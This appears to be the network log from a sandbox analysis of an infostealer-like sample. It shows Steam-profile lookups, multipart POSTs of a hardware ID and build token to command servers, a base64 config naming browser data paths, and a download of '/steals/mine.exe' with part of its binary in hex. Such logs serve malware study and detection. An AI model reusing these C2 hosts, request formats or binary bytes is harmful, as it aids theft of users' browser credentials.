Aug 4, 2024 02:22:05.671993017 CEST	49774	443	192.168.2.4	168.119.176.241
Aug 4, 2024 02:22:05.672025919 CEST	443	49774	168.119.176.241	192.168.2.4
Aug 4, 2024 02:22:05.889755011 CEST	443	49773	168.119.176.241	192.168.2.4
Aug 4, 2024 02:22:05.889833927 CEST	49773	443	192.168.2.4	168.119.176.241
Aug 4, 2024 02:22:05.889867067 CEST	443	49773	168.119.176.241	192.168.2.4
Aug 4, 2024 02:22:05.889915943 CEST	49773	443	192.168.2.4	168.119.176.241
Aug 4, 2024 02:22:05.890034914 CEST	443	49773	168.119.176.241	192.168.2.4
Aug 4, 2024 02:22:05.890093088 CEST	49773	443	192.168.2.4	168.119.176.241
Aug 4, 2024 02:22:05.891760111 CEST	49773	443	192.168.2.4	168.119.176.241
Aug 4, 2024 02:22:05.891789913 CEST	443	49773	168.119.176.241	192.168.2.4
Aug 4, 2024 02:22:06.315974951 CEST	443	49774	168.119.176.241	192.168.2.4
Aug 4, 2024 02:22:06.316076994 CEST	49774	443	192.168.2.4	168.119.176.241
Aug 4, 2024 02:22:07.291309118 CEST	49774	443	192.168.2.4	168.119.176.241

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Aug 4, 2024 02:21:01.689414978 CEST	56573	53	192.168.2.4	1.1.1.1
Aug 4, 2024 02:21:01.851316929 CEST	53	56573	1.1.1.1	192.168.2.4
Aug 4, 2024 02:21:48.130151987 CEST	60825	53	192.168.2.4	1.1.1.1
Aug 4, 2024 02:21:48.139017105 CEST	53	60825	1.1.1.1	192.168.2.4
Aug 4, 2024 02:21:52.406105042 CEST	50389	53	192.168.2.4	1.1.1.1
Aug 4, 2024 02:21:52.413943052 CEST	53	50389	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Aug 4, 2024 02:21:01.689414978 CEST	192.168.2.4	1.1.1.1	0x5c2e	Standard query (0)	steamcommunity.com	A (IP address)	IN (0x0001)	false
Aug 4, 2024 02:21:48.130151987 CEST	192.168.2.4	1.1.1.1	0x6edd	Standard query (0)	arpdabl.zapto.org	A (IP address)	IN (0x0001)	false
Aug 4, 2024 02:21:52.406105042 CEST	192.168.2.4	1.1.1.1	0x323d	Standard query (0)	steamcommunity.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Aug 4, 2024 02:21:01.851316929 CEST	1.1.1.1	192.168.2.4	0x5c2e	No error (0)	steamcommunity.com		104.102.49.249	A (IP address)	IN (0x0001)	false
Aug 4, 2024 02:21:23.032726049 CEST	1.1.1.1	192.168.2.4	0x3f0d	No error (0)	fp2e7a.wpc.2be4.phicdn.net	fp2e7a.wpc.phicdn.net		CNAME (Canonical name)	IN (0x0001)	false
Aug 4, 2024 02:21:23.032726049 CEST	1.1.1.1	192.168.2.4	0x3f0d	No error (0)	fp2e7a.wpc.phicdn.net		192.229.221.95	A (IP address)	IN (0x0001)	false
Aug 4, 2024 02:21:48.139017105 CEST	1.1.1.1	192.168.2.4	0x6edd	No error (0)	arpdabl.zapto.org		38.180.132.96	A (IP address)	IN (0x0001)	false
Aug 4, 2024 02:21:52.413943052 CEST	1.1.1.1	192.168.2.4	0x323d	No error (0)	steamcommunity.com		104.102.49.249	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

steamcommunity.com

168.119.176.241

147.45.44.104

arpdabl.zapto.org

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49757	147.45.44.104	80	6448	C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe

Timestamp	Bytes transferred	Direction	Data
Aug 4, 2024 02:21:35.153594971 CEST	223	OUT	GET /steals/mine.exe HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 YaBrowser/24.6.0.1 Safari/537.36 Host: 147.45.44.104 Cache-Control: no-cache
Aug 4, 2024 02:21:35.794167995 CEST	1236	IN	HTTP/1.1 200 OK Date: Sun, 04 Aug 2024 00:21:35 GMT Server: Apache Last-Modified: Sat, 03 Aug 2024 17:07:11 GMT ETag: "4e7000-61eca7984f383" Accept-Ranges: bytes Content-Length: 5140480 Content-Type: application/octet-stream Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 f9 b7 ad 66 00 00 00 00 00 00 00 00 e0 00 0e 01 0b 01 06 00 00 d2 4c 00 00 9a 01 00 00 00 00 00 4e f0 4c 00 00 20 00 00 00 00 4d 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 e0 4e 00 00 04 00 00 a6 d9 4e 00 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 f0 4c 00 4b 00 00 00 00 20 4d 00 c6 8c 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 4e 00 0c 00 00 00 af ef 4c 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELfLNL M@ NN@LK MNL H.textTL L `.sdataML@.rsrc ML@@.relocNnN@B
Aug 4, 2024 02:21:35.794210911 CEST	224	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 30 f0 4c 00 00 00 00 00 48 00 00 00 02 00 05 00 b4 10 18 00 78 5e 15 00 03 00 00 00 a9 00 00 06 2c 6f 2d 00 83 80 1f 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: 0LHx^,o-Z+&+&(J(+&+&^+&+&((.+&(J+&+&*0+&+&((
Aug 4, 2024 02:21:35.794270039 CEST	1236	IN	Data Raw: 06 3a 5b 00 00 00 26 20 06 00 00 00 38 77 00 00 00 73 1f 00 00 0a 80 03 00 00 04 20 05 00 00 00 38 63 00 00 00 73 20 00 00 0a 80 04 00 00 04 73 21 00 00 0a 80 05 00 00 04 20 07 00 00 00 38 45 00 00 00 73 22 00 00 0a 80 01 00 00 04 20 04 00 00 00 Data Ascii: :[& 8ws 8cs s! 8Es" 81(8& 8s#8 Edx 80+&~o$80+&~
Aug 4, 2024 02:21:35.794436932 CEST	1236	IN	Data Raw: 00 06 2a 3e 2b 02 26 16 00 fe 09 00 00 28 3c 00 00 0a 2a 4a 2b 02 26 16 fe 09 00 00 fe 09 01 00 28 3d 00 00 0a 2a 00 13 30 03 00 19 00 00 00 0a 00 00 11 2b 02 26 16 00 02 03 28 3c 00 00 0a 28 3d 00 00 0a 0a 38 00 00 00 00 06 2a 00 00 00 13 30 02 Data Ascii: >+&(<J+&(=0+&(<(=80+&()80+&(+80+&(80++&:(+888*0
Aug 4, 2024 02:21:35.794486046 CEST	1236	IN	Data Raw: 16 09 00 00 28 b5 4a 00 06 13 17 20 0a 00 00 00 16 39 f3 00 00 00 26 20 58 04 00 00 28 b5 4a 00 06 13 20 20 02 00 00 00 38 dc 00 00 00 20 c8 09 00 00 28 4e 01 00 06 13 0e 20 13 00 00 00 28 4f 01 00 06 3a c1 00 00 00 26 22 1e 68 36 42 13 11 20 14 Data Ascii: (J 9& X(J 8 (N (O:&"h6B 8"bB1( 8 b(N 8"B (P9i& (N j(J0 (J"A- <(J'"B (J $(N
Aug 4, 2024 02:21:35.794518948 CEST	672	IN	Data Raw: ff ff 20 a2 0d 00 00 28 4e 01 00 06 13 29 22 57 d9 96 42 13 2d 20 0b 00 00 00 38 5f fe ff ff 22 f8 8e 2d 41 13 19 20 10 00 00 00 38 4e fe ff ff 22 33 32 7a 41 13 1f 16 13 09 16 13 14 16 13 2e 16 13 1d 20 12 00 00 00 38 31 fe ff ff 20 44 0c 00 00 Data Ascii: (N)"WB- 8_"-A 8N"32zA. 81 D(J :&*0+& 8V (O:&"TB 8 (J .(J :&"GBb (N/ Z(J
Aug 4, 2024 02:21:35.794771910 CEST	1236	IN	Data Raw: ff 81 ff ff ff 4d fe ff ff a2 00 00 00 20 09 00 00 00 28 50 01 00 06 3a 94 ff ff ff 38 8f ff ff ff 17 13 31 22 31 89 f9 41 13 22 38 b1 fd ff ff 26 20 06 00 00 00 38 75 ff ff ff 22 f8 fc 0f 42 13 08 22 01 18 bb 41 13 2e 20 02 00 00 00 17 3a 5c ff Data Ascii: M (P:81"1A"8& 8u"B"A. :\& (J0 J(N 8-"B%"B :&-( 80+& :(& (J"3B J(J
Aug 4, 2024 02:21:35.794805050 CEST	1236	IN	Data Raw: 96 3b 41 13 17 17 13 04 20 03 00 00 00 38 55 00 00 00 22 8b 1b bb 41 13 27 16 13 1b 22 56 fc 50 42 13 14 17 28 50 01 00 06 3a 52 ff ff ff 26 20 09 00 00 00 38 2e 00 00 00 20 6e 1e 00 00 28 b5 4a 00 06 13 1f 1f 59 13 29 20 ca 1e 00 00 28 4e 01 00 Data Ascii: ;A 8U"A'"VPB(P:R& 8. n(JY) (N8 22En:PNuAq2, 8 (J/ !(N, 8w j"
Aug 4, 2024 02:21:35.794838905 CEST	1236	IN	Data Raw: 19 20 08 00 00 00 38 70 00 00 00 17 13 05 22 47 04 81 42 13 0f 20 11 00 00 00 38 5c 00 00 00 1f 49 0b 20 4c 2c 00 00 28 4e 01 00 06 13 12 20 15 00 00 00 38 43 00 00 00 16 13 15 20 12 00 00 00 38 36 00 00 00 1f 61 13 0c 38 9f 01 00 00 26 20 0b 00 Data Ascii: 8p"GB 8\I L,(N 8C 86a8& :!& 0)(J"8j 33E3 Um~`G `qb}B(O(P:g& (O:
Aug 4, 2024 02:21:35.794876099 CEST	1236	IN	Data Raw: 85 ff ff ff 70 fe ff ff b2 fe ff ff 54 fe ff ff 54 fe ff ff f7 fe ff ff cb fe ff ff 18 00 00 00 de fe ff ff a1 fd ff ff 44 fe ff ff 92 fe ff ff 85 fd ff ff 5d ff ff ff c0 fd ff ff 3a 00 00 00 16 28 4f 01 00 06 39 3e fe ff ff 26 20 09 00 00 00 17 Data Ascii: pTTD]:(O9>& :& &.(J .(N 8i0+&(O9& 8pb 8b< 8TD 3(J"wqYB#/"!B& 8
Aug 4, 2024 02:21:35.799391985 CEST	1236	IN	Data Raw: 06 13 32 22 82 0d 82 42 13 04 20 0c 00 00 00 38 06 ff ff ff 1f 52 13 10 1f 5c 13 0b 20 14 00 00 00 28 4f 01 00 06 3a ef fe ff ff 26 1f 54 13 2c 17 13 20 20 15 00 00 00 38 dd fe ff ff 1f 5e 13 19 20 02 00 00 00 38 cf fe ff ff 17 13 15 1f 0a 13 14 Data Ascii: 2"B 8R\ (O:&T, 8^ 8 D7(N-"B" 8"j)A (O:& 7(J$%'H0"xBY 8b&0 8J*0+& 8~ <(

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49763	38.180.132.96	80	6448	C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe

Timestamp	Bytes transferred	Direction	Data
Aug 4, 2024 02:21:48.144874096 CEST	329	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----JDAKJDAAFBKFHIEBFCFB User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 YaBrowser/24.6.0.1 Safari/537.36 Host: arpdabl.zapto.org Content-Length: 5865 Connection: Keep-Alive Cache-Control: no-cache
Aug 4, 2024 02:21:48.144916058 CEST	5865	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 4a 44 41 4b 4a 44 41 41 46 42 4b 46 48 49 45 42 46 43 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 32 66 65 63 64 Data Ascii: ------JDAKJDAAFBKFHIEBFCFBContent-Disposition: form-data; name="token"12fecd2f030f00a6278737182799d7cf------JDAKJDAAFBKFHIEBFCFBContent-Disposition: form-data; name="build_id"625d7a8e379321656ff1b88ebf9542b7------JDAKJDAAFBKFHI
Aug 4, 2024 02:21:48.867791891 CEST	161	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sun, 04 Aug 2024 00:21:48 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	104.102.49.249	443	6448	C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-04 00:21:02 UTC	119	OUT	GET /profiles/76561199747278259 HTTP/1.1 Host: steamcommunity.com Connection: Keep-Alive Cache-Control: no-cache
2024-08-04 00:21:03 UTC	1870	IN	HTTP/1.1 200 OK Server: nginx Content-Type: text/html; charset=UTF-8 Content-Security-Policy: default-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.akamai.steamstatic.com/ https://cdn.akamai.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.akamai.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq. [TRUNCATED] Expires: Mon, 26 Jul 1997 05:00:00 GMT Cache-Control: no-cache Date: Sun, 04 Aug 2024 00:21:02 GMT Content-Length: 34745 Connection: close Set-Cookie: sessionid=be0bb32fe464665e35af098d; Path=/; Secure; SameSite=None Set-Cookie: steamCountry=US%7Cd7fb65801182a5f50a3169fe2a0b7ef0; Path=/; Secure; HttpOnly; SameSite=None
2024-08-04 00:21:03 UTC	14514	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 20 72 65 73 70 6f 6e 73 69 76 65 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 0d 0a 09 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0d 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 74 68 65 6d 65 2d 63 6f 6c 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 23 31 37 31 61 32 31 22 3e 0d 0a 09 09 3c Data Ascii: <!DOCTYPE html><html class=" responsive" lang="en"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><meta name="viewport" content="width=device-width,initial-scale=1"><meta name="theme-color" content="#171a21"><
2024-08-04 00:21:03 UTC	16384	IN	Data Raw: 2c 20 27 64 65 73 74 72 6f 79 57 68 65 6e 44 6f 6e 65 27 3a 20 66 61 6c 73 65 2c 20 27 74 6f 6f 6c 74 69 70 43 6c 61 73 73 27 3a 20 27 73 75 70 65 72 6e 61 76 5f 63 6f 6e 74 65 6e 74 27 2c 20 27 6f 66 66 73 65 74 59 27 3a 2d 36 2c 20 27 6f 66 66 73 65 74 58 27 3a 20 31 2c 20 27 68 6f 72 69 7a 6f 6e 74 61 6c 53 6e 61 70 27 3a 20 34 2c 20 27 74 6f 6f 6c 74 69 70 50 61 72 65 6e 74 27 3a 20 27 23 67 6c 6f 62 61 6c 5f 68 65 61 64 65 72 20 2e 73 75 70 65 72 6e 61 76 5f 63 6f 6e 74 61 69 6e 65 72 27 2c 20 27 63 6f 72 72 65 63 74 46 6f 72 53 63 72 65 65 6e 53 69 7a 65 27 3a 20 66 61 6c 73 65 7d 29 3b 0d 0a 09 09 7d 29 3b 0d 0a 09 3c 2f 73 63 72 69 70 74 3e 0d 0a 0d 0a 09 09 3c 64 69 76 20 69 64 3d 22 67 6c 6f 62 61 6c 5f 61 63 74 69 6f 6e 73 22 3e 0d 0a 09 09 09 Data Ascii: , 'destroyWhenDone': false, 'tooltipClass': 'supernav_content', 'offsetY':-6, 'offsetX': 1, 'horizontalSnap': 4, 'tooltipParent': '#global_header .supernav_container', 'correctForScreenSize': false});});</script><div id="global_actions">
2024-08-04 00:21:03 UTC	3768	IN	Data Raw: 75 65 2c 26 71 75 6f 74 3b 63 6c 69 63 6b 4f 6e 41 63 74 69 76 61 74 65 26 71 75 6f 74 3b 3a 74 72 75 65 7d 22 20 63 6c 61 73 73 3d 22 77 68 69 74 65 4c 69 6e 6b 22 20 63 6c 61 73 73 3d 22 77 68 69 74 65 4c 69 6e 6b 22 3e 56 69 65 77 20 6d 6f 72 65 20 69 6e 66 6f 3c 2f 73 70 61 6e 3e 0d 0a 09 09 09 09 09 09 3c 2f 64 69 76 3e 0d 0a 09 09 09 09 09 09 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 20 24 4a 28 20 66 75 6e 63 74 69 6f 6e 28 29 20 7b 20 49 6e 69 74 50 72 6f 66 69 6c 65 53 75 6d 6d 61 72 79 28 20 67 5f 72 67 50 72 6f 66 69 6c 65 44 61 74 61 5b 27 73 75 6d 6d 61 72 79 27 5d 20 29 3b 20 7d 20 29 3b 20 3c 2f 73 63 72 69 70 74 3e 0d 0a 09 09 09 09 09 09 09 09 09 3c 2f 64 69 76 3e 0d 0a 0d 0a 09 09 09 3c Data Ascii: ue,"clickOnActivate":true}" class="whiteLink" class="whiteLink">View more info</span></div><script type="text/javascript"> $J( function() { InitProfileSummary( g_rgProfileData['summary'] ); } ); </script></div><
2024-08-04 00:21:03 UTC	79	IN	Data Raw: 69 76 65 5f 70 61 67 65 5f 63 6f 6e 74 65 6e 74 20 2d 2d 3e 0d 0a 0d 0a 3c 2f 64 69 76 3e 09 3c 21 2d 2d 20 72 65 73 70 6f 6e 73 69 76 65 5f 70 61 67 65 5f 66 72 61 6d 65 20 2d 2d 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e Data Ascii: ive_page_content --></div>... responsive_page_frame --></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49731	168.119.176.241	443	6448	C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-04 00:21:04 UTC	234	OUT	GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 YaBrowser/24.6.0.1 Safari/537.36 Host: 168.119.176.241 Connection: Keep-Alive Cache-Control: no-cache
2024-08-04 00:21:04 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Sun, 04 Aug 2024 00:21:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-08-04 00:21:04 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49732	168.119.176.241	443	6448	C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-04 00:21:05 UTC	326	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----GHDBAFIIECBFHIEBKJJK User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 YaBrowser/24.6.0.1 Safari/537.36 Host: 168.119.176.241 Content-Length: 278 Connection: Keep-Alive Cache-Control: no-cache
2024-08-04 00:21:05 UTC	278	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 47 48 44 42 41 46 49 49 45 43 42 46 48 49 45 42 4b 4a 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 34 36 38 34 33 30 41 34 30 44 42 42 38 38 33 38 38 34 31 37 39 2d 61 33 33 63 37 33 34 30 2d 36 31 63 61 2d 31 31 65 65 2d 38 63 31 38 2d 38 30 36 65 36 66 36 65 36 39 36 33 0d 0a 2d 2d 2d 2d 2d 2d 47 48 44 42 41 46 49 49 45 43 42 46 48 49 45 42 4b 4a 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 36 32 35 64 37 61 38 65 33 37 39 33 32 31 36 35 36 66 66 31 62 38 38 65 62 66 39 35 34 32 62 37 0d 0a 2d 2d 2d 2d 2d 2d 47 Data Ascii: ------GHDBAFIIECBFHIEBKJJKContent-Disposition: form-data; name="hwid"468430A40DBB883884179-a33c7340-61ca-11ee-8c18-806e6f6e6963------GHDBAFIIECBFHIEBKJJKContent-Disposition: form-data; name="build_id"625d7a8e379321656ff1b88ebf9542b7------G
2024-08-04 00:21:06 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Sun, 04 Aug 2024 00:21:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-08-04 00:21:06 UTC	69	IN	Data Raw: 33 61 0d 0a 31 7c 31 7c 31 7c 31 7c 31 32 66 65 63 64 32 66 30 33 30 66 30 30 61 36 32 37 38 37 33 37 31 38 32 37 39 39 64 37 63 66 7c 31 7c 31 7c 31 7c 30 7c 31 7c 35 30 30 30 30 7c 31 0d 0a 30 0d 0a 0d 0a Data Ascii: 3a1\|1\|1\|1\|12fecd2f030f00a6278737182799d7cf\|1\|1\|1\|0\|1\|50000\|10

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49733	168.119.176.241	443	6448	C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-04 00:21:06 UTC	326	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----JDAKJDAAFBKFHIEBFCFB User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 YaBrowser/24.6.0.1 Safari/537.36 Host: 168.119.176.241 Content-Length: 331 Connection: Keep-Alive Cache-Control: no-cache
2024-08-04 00:21:06 UTC	331	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 4a 44 41 4b 4a 44 41 41 46 42 4b 46 48 49 45 42 46 43 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 32 66 65 63 64 32 66 30 33 30 66 30 30 61 36 32 37 38 37 33 37 31 38 32 37 39 39 64 37 63 66 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 41 4b 4a 44 41 41 46 42 4b 46 48 49 45 42 46 43 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 36 32 35 64 37 61 38 65 33 37 39 33 32 31 36 35 36 66 66 31 62 38 38 65 62 66 39 35 34 32 62 37 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 41 4b 4a 44 41 41 46 42 4b 46 48 49 45 42 46 43 46 42 0d 0a 43 6f 6e 74 Data Ascii: ------JDAKJDAAFBKFHIEBFCFBContent-Disposition: form-data; name="token"12fecd2f030f00a6278737182799d7cf------JDAKJDAAFBKFHIEBFCFBContent-Disposition: form-data; name="build_id"625d7a8e379321656ff1b88ebf9542b7------JDAKJDAAFBKFHIEBFCFBCont
2024-08-04 00:21:07 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Sun, 04 Aug 2024 00:21:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-08-04 00:21:07 UTC	1564	IN	Data Raw: 36 31 30 0d 0a 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 45 64 76 62 32 64 73 5a 53 42 44 61 48 4a 76 62 57 55 67 51 32 46 75 59 58 4a 35 66 46 78 48 62 32 39 6e 62 47 56 63 51 32 68 79 62 32 31 6c 49 46 4e 34 55 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 45 4e 6f 63 6d 39 74 61 58 56 74 66 46 78 44 61 48 4a 76 62 57 6c 31 62 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 45 46 74 61 57 64 76 66 46 78 42 62 57 6c 6e 62 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 46 52 76 63 6d 4e 6f 66 46 78 55 62 33 4a 6a 61 46 78 56 63 32 56 79 49 45 Data Ascii: 610R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfEdvb2dsZSBDaHJvbWUgQ2FuYXJ5fFxHb29nbGVcQ2hyb21lIFN4U1xVc2VyIERhdGF8Y2hyb21lfENocm9taXVtfFxDaHJvbWl1bVxVc2VyIERhdGF8Y2hyb21lfEFtaWdvfFxBbWlnb1xVc2VyIERhdGF8Y2hyb21lfFRvcmNofFxUb3JjaFxVc2VyIE

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49734	168.119.176.241	443	6448	C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-04 00:21:08 UTC	326	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----CGDHIEGCFHCGDGCAECBG User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 YaBrowser/24.6.0.1 Safari/537.36 Host: 168.119.176.241 Content-Length: 331 Connection: Keep-Alive Cache-Control: no-cache
2024-08-04 00:21:08 UTC	331	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 43 47 44 48 49 45 47 43 46 48 43 47 44 47 43 41 45 43 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 32 66 65 63 64 32 66 30 33 30 66 30 30 61 36 32 37 38 37 33 37 31 38 32 37 39 39 64 37 63 66 0d 0a 2d 2d 2d 2d 2d 2d 43 47 44 48 49 45 47 43 46 48 43 47 44 47 43 41 45 43 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 36 32 35 64 37 61 38 65 33 37 39 33 32 31 36 35 36 66 66 31 62 38 38 65 62 66 39 35 34 32 62 37 